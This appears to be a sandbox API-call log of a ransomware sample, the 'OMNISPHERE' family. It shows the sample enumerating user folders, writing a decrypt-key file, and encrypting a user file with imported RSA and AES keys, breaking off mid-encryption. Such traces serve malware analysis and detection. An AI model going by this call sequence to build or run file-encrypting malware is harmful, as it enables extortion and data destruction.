0x1600000 [0057.395] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x164ba00 | out: hHeap=0x1600000) returned 1 [0057.395] GetProcessHeap () returned 0x1600000 [0057.395] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x54) returned 0x163d298 [0057.395] PathCombineW (in: pszDest=0x163d298, pszDir="C:\\Users\\FD1HVy", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\unique_decrypt.key" [0057.395] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0057.396] WriteFile (in: hFile=0x36c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0f0f4, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0f0f4*=0x5a0, lpOverlapped=0x0) returned 1 [0057.401] CloseHandle (hObject=0x36c) returned 1 [0057.402] GetProcessHeap () returned 0x1600000 [0057.402] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163d298 | out: hHeap=0x1600000) returned 1 [0057.402] GetProcessHeap () returned 0x1600000 [0057.402] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x161c0f8 | out: hHeap=0x1600000) returned 1 [0057.402] FindNextFileW (in: hFindFile=0x16397e8, lpFindFileData=0x3e0f390 | out: lpFindFileData=0x3e0f390*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3f0f0bc5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd4516574, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94022772, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8, cFileName="OneDrive", cAlternateFileName="")) returned 1 [0057.402] FindNextFileW (in: hFindFile=0x16397e8, lpFindFileData=0x3e0f390 | out: lpFindFileData=0x3e0f390*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe699d5ad, ftLastAccessTime.dwHighDateTime=0x1d5826c, ftLastWriteTime.dwLowDateTime=0xe699d5ad, ftLastWriteTime.dwHighDateTime=0x1d5826c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8, cFileName="Pictures", cAlternateFileName="")) returned 1 [0057.403] FindNextFileW (in: hFindFile=0x16397e8, lpFindFileData=0x3e0f390 | out: lpFindFileData=0x3e0f390*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0057.403] FindNextFileW (in: hFindFile=0x16397e8, lpFindFileData=0x3e0f390 | out: lpFindFileData=0x3e0f390*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8, cFileName="Recent", cAlternateFileName="")) returned 1 [0057.403] FindNextFileW (in: hFindFile=0x16397e8, lpFindFileData=0x3e0f390 | out: lpFindFileData=0x3e0f390*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd45b644a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce4e13d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0057.403] FindNextFileW (in: hFindFile=0x16397e8, lpFindFileData=0x3e0f390 | out: lpFindFileData=0x3e0f390*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd462426d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce389e99, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8, cFileName="Searches", cAlternateFileName="")) returned 1 [0057.403] FindNextFileW (in: hFindFile=0x16397e8, lpFindFileData=0x3e0f390 | out: lpFindFileData=0x3e0f390*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8, cFileName="SendTo", cAlternateFileName="")) returned 1 [0057.403] FindNextFileW (in: hFindFile=0x16397e8, lpFindFileData=0x3e0f390 | out: lpFindFileData=0x3e0f390*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0057.403] FindNextFileW (in: hFindFile=0x16397e8, lpFindFileData=0x3e0f390 | out: lpFindFileData=0x3e0f390*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0057.403] FindNextFileW (in: hFindFile=0x16397e8, lpFindFileData=0x3e0f390 | out: lpFindFileData=0x3e0f390*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe686c2b0, ftLastAccessTime.dwHighDateTime=0x1d5826c, ftLastWriteTime.dwLowDateTime=0xe686c2b0, ftLastWriteTime.dwHighDateTime=0x1d5826c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8, cFileName="Videos", cAlternateFileName="")) returned 1 [0057.403] FindNextFileW (in: hFindFile=0x16397e8, lpFindFileData=0x3e0f390 | out: lpFindFileData=0x3e0f390*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe686c2b0, ftLastAccessTime.dwHighDateTime=0x1d5826c, ftLastWriteTime.dwLowDateTime=0xe686c2b0, ftLastWriteTime.dwHighDateTime=0x1d5826c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8, cFileName="Videos", cAlternateFileName="")) returned 0 [0057.403] FindClose (in: hFindFile=0x16397e8 | out: hFindFile=0x16397e8) returned 1 [0057.404] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\*", lpFindFileData=0x3e0f140 | out: lpFindFileData=0x3e0f140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x34f0e7e, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x34f0e7e, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x16395a8 [0057.404] FindNextFileW (in: hFindFile=0x16395a8, lpFindFileData=0x3e0f140 | out: lpFindFileData=0x3e0f140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x34f0e7e, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x34f0e7e, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.404] FindNextFileW (in: hFindFile=0x16395a8, lpFindFileData=0x3e0f140 | out: lpFindFileData=0x3e0f140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34f0e7e, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x34f0e7e, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x34f0e7e, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0057.404] FindNextFileW (in: hFindFile=0x16395a8, lpFindFileData=0x3e0f140 | out: lpFindFileData=0x3e0f140*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3b5a0677, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3b5a0677, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0057.404] GetProcessHeap () returned 0x1600000 [0057.404] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x3e) returned 0x1626d48 [0057.404] PathCombineW (in: pszDest=0x1626d48, pszDir="C:\\Users\\FD1HVy", pszFile="AppData" | out: pszDest="C:\\Users\\FD1HVy\\AppData") returned="C:\\Users\\FD1HVy\\AppData" [0057.404] GetProcessHeap () returned 0x1600000 [0057.404] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x42) returned 0x161be78 [0057.404] PathCombineW (in: pszDest=0x161be78, pszDir="C:\\Users\\FD1HVy\\AppData", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\*") returned="C:\\Users\\FD1HVy\\AppData\\*" [0057.405] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\*", lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3b5a0677, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3b5a0677, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xf5, cFileName=".", cAlternateFileName="")) returned 0x1639968 [0057.405] FindNextFileW (in: hFindFile=0x1639968, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3b5a0677, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3b5a0677, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xf5, cFileName="..", cAlternateFileName="")) returned 1 [0057.406] FindNextFileW (in: hFindFile=0x1639968, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xf5, cFileName="Local", cAlternateFileName="")) returned 1 [0057.406] FindNextFileW (in: hFindFile=0x1639968, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34f2b3d6, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xb373310b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb373310b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xf5, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0057.406] FindNextFileW (in: hFindFile=0x1639968, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xe6a35fc5, ftLastAccessTime.dwHighDateTime=0x1d5826c, ftLastWriteTime.dwLowDateTime=0xe6a35fc5, ftLastWriteTime.dwHighDateTime=0x1d5826c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xf5, cFileName="Roaming", cAlternateFileName="")) returned 1 [0057.406] FindNextFileW (in: hFindFile=0x1639968, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xe6a35fc5, ftLastAccessTime.dwHighDateTime=0x1d5826c, ftLastWriteTime.dwLowDateTime=0xe6a35fc5, ftLastWriteTime.dwHighDateTime=0x1d5826c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xf5, cFileName="Roaming", cAlternateFileName="")) returned 0 [0057.406] FindClose (in: hFindFile=0x1639968 | out: hFindFile=0x1639968) returned 1 [0057.406] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\*", lpFindFileData=0x3e0ec44 | out: lpFindFileData=0x3e0ec44*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3b5a0677, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3b5a0677, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1639968 [0057.406] FindNextFileW (in: hFindFile=0x1639968, lpFindFileData=0x3e0ec44 | out: lpFindFileData=0x3e0ec44*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3b5a0677, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3b5a0677, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.407] FindNextFileW (in: hFindFile=0x1639968, lpFindFileData=0x3e0ec44 | out: lpFindFileData=0x3e0ec44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0057.407] GetProcessHeap () returned 0x1600000 [0057.407] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x4a) returned 0x16351a0 [0057.407] PathCombineW (in: pszDest=0x16351a0, pszDir="C:\\Users\\FD1HVy\\AppData", pszFile="Local" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Local") returned="C:\\Users\\FD1HVy\\AppData\\Local" [0057.407] GetProcessHeap () returned 0x1600000 [0057.407] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16351a0 | out: hHeap=0x1600000) returned 1 [0057.407] FindNextFileW (in: hFindFile=0x1639968, lpFindFileData=0x3e0ec44 | out: lpFindFileData=0x3e0ec44*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34f2b3d6, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xb373310b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb373310b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0057.407] GetProcessHeap () returned 0x1600000 [0057.407] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x50) returned 0x16351a0 [0057.407] PathCombineW (in: pszDest=0x16351a0, pszDir="C:\\Users\\FD1HVy\\AppData", pszFile="LocalLow" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\LocalLow") returned="C:\\Users\\FD1HVy\\AppData\\LocalLow" [0057.407] GetProcessHeap () returned 0x1600000 [0057.407] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16351a0 | out: hHeap=0x1600000) returned 1 [0057.407] FindNextFileW (in: hFindFile=0x1639968, lpFindFileData=0x3e0ec44 | out: lpFindFileData=0x3e0ec44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xe6a35fc5, ftLastAccessTime.dwHighDateTime=0x1d5826c, ftLastWriteTime.dwLowDateTime=0xe6a35fc5, ftLastWriteTime.dwHighDateTime=0x1d5826c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0057.407] GetProcessHeap () returned 0x1600000 [0057.407] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x4e) returned 0x16351a0 [0057.407] PathCombineW (in: pszDest=0x16351a0, pszDir="C:\\Users\\FD1HVy\\AppData", pszFile="Roaming" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming") returned="C:\\Users\\FD1HVy\\AppData\\Roaming" [0057.408] GetProcessHeap () returned 0x1600000 [0057.408] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x52) returned 0x163dad8 [0057.408] PathCombineW (in: pszDest=0x163dad8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\*" [0057.408] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\*", lpFindFileData=0x3e0e998 | out: lpFindFileData=0x3e0e998*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xe6a35fc5, ftLastAccessTime.dwHighDateTime=0x1d5826c, ftLastWriteTime.dwLowDateTime=0xe6a35fc5, ftLastWriteTime.dwHighDateTime=0x1d5826c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xed, cFileName=".", cAlternateFileName="")) returned 0x16395e8 [0057.408] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0e998 | out: lpFindFileData=0x3e0e998*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xe6a35fc5, ftLastAccessTime.dwHighDateTime=0x1d5826c, ftLastWriteTime.dwLowDateTime=0xe6a35fc5, ftLastWriteTime.dwHighDateTime=0x1d5826c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xed, cFileName="..", cAlternateFileName="")) returned 1 [0057.408] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0e998 | out: lpFindFileData=0x3e0e998*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7037f0, ftCreationTime.dwHighDateTime=0x1d4d166, ftLastAccessTime.dwLowDateTime=0x378f3e40, ftLastAccessTime.dwHighDateTime=0x1d4d4c4, ftLastWriteTime.dwLowDateTime=0x378f3e40, ftLastWriteTime.dwHighDateTime=0x1d4d4c4, nFileSizeHigh=0x0, nFileSizeLow=0xd550, dwReserved0=0x0, dwReserved1=0xed, cFileName="0qM7PXCSnWH2CmmBFnz8.avi", cAlternateFileName="0QM7PX~1.AVI")) returned 1 [0057.408] GetProcessHeap () returned 0x1600000 [0057.408] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x80) returned 0x163c5a8 [0057.408] PathCombineW (in: pszDest=0x163c5a8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="0qM7PXCSnWH2CmmBFnz8.avi" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\0qM7PXCSnWH2CmmBFnz8.avi") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\0qM7PXCSnWH2CmmBFnz8.avi" [0057.409] StrStrW (lpFirst=".omnisphere", lpSrch=".avi") returned 0x0 [0057.409] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\0qM7PXCSnWH2CmmBFnz8.avi" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\0qm7pxcsnwh2cmmbfnz8.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0057.409] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0e6c0 | out: lpFileSize=0x3e0e6c0*=54608) returned 1 [0057.409] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0xd02c, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0057.409] ReadFile (in: hFile=0x3a0, lpBuffer=0x3e0e168, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0e6b0, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesRead=0x3e0e6b0*=0x524, lpOverlapped=0x0) returned 1 [0057.410] GetTickCount () returned 0x114eb3c [0057.410] GetTickCount () returned 0x114eb3c [0057.410] GetTickCount () returned 0x114eb3c [0057.410] GetTickCount () returned 0x114eb3c [0057.410] GetTickCount () returned 0x114eb3c [0057.410] GetTickCount () returned 0x114eb3c [0057.410] GetTickCount () returned 0x114eb3c [0057.410] GetTickCount () returned 0x114eb3c [0057.410] GetTickCount () returned 0x114eb3c [0057.410] GetTickCount () returned 0x114eb3c [0057.410] GetTickCount () returned 0x114eb3c [0057.410] GetTickCount () returned 0x114eb3c [0057.410] GetTickCount () returned 0x114eb3c [0057.410] GetTickCount () returned 0x114eb3c [0057.410] GetTickCount () returned 0x114eb3c [0057.410] GetTickCount () returned 0x114eb3c [0057.410] GetTickCount () returned 0x114eb3c [0057.410] GetTickCount () returned 0x114eb3c [0057.410] GetTickCount () returned 0x114eb3c [0057.410] GetTickCount () returned 0x114eb3c [0057.411] GetTickCount () returned 0x114eb3c [0057.411] GetTickCount () returned 0x114eb3c [0057.411] GetTickCount () returned 0x114eb3c [0057.411] GetTickCount () returned 0x114eb3c [0057.411] GetTickCount () returned 0x114eb3c [0057.411] GetTickCount () returned 0x114eb3c [0057.411] GetTickCount () returned 0x114eb3c [0057.411] GetTickCount () returned 0x114eb3c [0057.411] GetTickCount () returned 0x114eb3c [0057.411] GetTickCount () returned 0x114eb3c [0057.411] GetTickCount () returned 0x114eb3c [0057.411] GetTickCount () returned 0x114eb3c [0057.411] CryptAcquireContextW (in: phProv=0x3e0e148, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e148*=0x163bb08) returned 1 [0057.412] CryptImportKey (in: hProv=0x163bb08, pbData=0x3e0e0b0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e154 | out: phKey=0x3e0e154*=0x16399a8) returned 1 [0057.412] CryptEncrypt (in: hKey=0x16399a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x75, dwBufLen=0x80 | out: pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x80) returned 1 [0057.413] CryptDestroyKey (hKey=0x16399a8) returned 1 [0057.413] CryptReleaseContext (hProv=0x163bb08, dwFlags=0x0) returned 1 [0057.413] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd550, lpName=0x0) returned 0x3a4 [0057.413] MapViewOfFile (hFileMappingObject=0x3a4, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd550) returned 0x3430000 [0057.413] CryptAcquireContextW (in: phProv=0x3e0e138, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e138*=0x163b8e8) returned 1 [0057.414] CryptImportKey (in: hProv=0x163b8e8, pbData=0x3e0e0f0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e148 | out: phKey=0x3e0e148*=0x1639ae8) returned 1 [0057.414] CryptSetKeyParam (hKey=0x1639ae8, dwParam=0x4, pbData=0x3e0e12c*=0x2, dwFlags=0x0) returned 1 [0057.414] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e134*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e134*=0x10) returned 1 [0057.414] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.414] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.414] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.414] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.414] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.414] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.414] 